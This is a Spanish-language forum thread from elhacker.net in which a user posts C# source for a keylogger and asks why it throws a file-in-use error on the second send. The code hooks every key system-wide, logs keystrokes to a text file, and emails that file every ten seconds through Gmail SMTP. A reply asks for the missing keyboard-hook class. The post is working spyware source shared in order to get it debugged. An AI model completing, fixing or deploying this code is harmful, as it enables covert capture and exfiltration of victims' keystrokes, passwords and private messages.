Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: loml666 en 7 Mayo 2013, 18:03 pm



Título: keylogger en c#
Publicado por: loml666 en 7 Mayo 2013, 18:03 pm
trabajo en este programa hace tiempo, pero sigue sin funcionar, puede crear el archivo con las teclas presionadas la primera vez y enviarlo a mi correo, pero la segunda vez obtengo este error:

IOException

The process cannot access the file 'C:\Documents and Settings\luis_m\Mis documentos\test.txt' because it is being used by another process.

He intentado muchas cosas pero sigue sin funcionar, creo que esto sucede al intentar enviarlo al correo.

Aquí esta el código:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Utilities;
using System.IO;
using System.Net.Mail;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        static System.Timers.Timer t;
        string p = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\test.txt";
        //int send = 1;
        string fileName = "test.txt";
        string sourcePath = @"C:\Documents and Settings\luis_m\Mis documentos";
        string targetPath = @"C:\Documents and Settings\luis_m\Mis documentos\gegl-0.0";

        // Use Path class to manipulate file and directory paths.
        string sourceFile ;
        string destFile ;
        public Form1()
        {
            InitializeComponent();
        }
        globalKeyboardHook gkh = new globalKeyboardHook();
        private void HookAll()
        {
            foreach (object key in Enum.GetValues(typeof(Keys)))
            {
                gkh.HookedKeys.Add((Keys)key);
            }
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            //send = 0;

            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); HookAll(); if (File.Exists(@""+p))
            {
                File.Delete(@""+p);
            }
            t = new System.Timers.Timer();

            t.Elapsed += new System.Timers.ElapsedEventHandler(t_Elapsed);

            t.Start();
            this.setTime();
            //send = 1;
        }
        public void setTime()
        {

            t.Interval = 10000;
            t.Elapsed += new System.Timers.ElapsedEventHandler(t_Elapsed);
            t.Start();

        }
        void t_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            string sourceFile = System.IO.Path.Combine(sourcePath, fileName);
            string destFile = System.IO.Path.Combine(targetPath, fileName);

            //System.IO.File.Copy(sourceFile, destFile, true);
            //send = 0;
            string From;
            string To;
            string Subject;
            string Message;

            System.Net.Mail.MailMessage Email;

            // email
            From = "xxx@gmail.com";
            To = "xxx@gmail.com";
            Subject = "KeyLogger BETA";
            Message = "Aqui ta pimpum";
            // smtp
            Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
            System.Net.Mail.SmtpClient smtpClient = new System.Net.Mail.SmtpClient("smtp.gmail.com");
            smtpClient.EnableSsl = true;
            //
            //Email.Attachments.Add(new Attachment(@"" + destFile));
            Attachment data = new Attachment(@"" + p);
            Email.Attachments.Add(data);
            //
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Host = "smtp.gmail.com";
            smtpClient.Port = 25;
            smtpClient.Credentials = new System.Net.NetworkCredential("xxx@gmail.com", "xxxxxxxxxxxxx");
            // email send
            try
            {

                smtpClient.Send(Email);
                // failed = 0;

            }

            catch
            {

                 data.Dispose();

                // failed = 1;

            }

             data.Dispose();

            //smtpClient.Send(Email);

        }
        void gkh_KeyDown(object sender, KeyEventArgs e) {
           
                StreamWriter SW = new StreamWriter(@"" + p, true); SW.Write(e.KeyCode); SW.Close();

        }
    }
}


Título: Re: keylogger en c#
Publicado por: ykas en 27 Mayo 2013, 08:59 am
Amigo y la clase globalKeyboardHook()   ???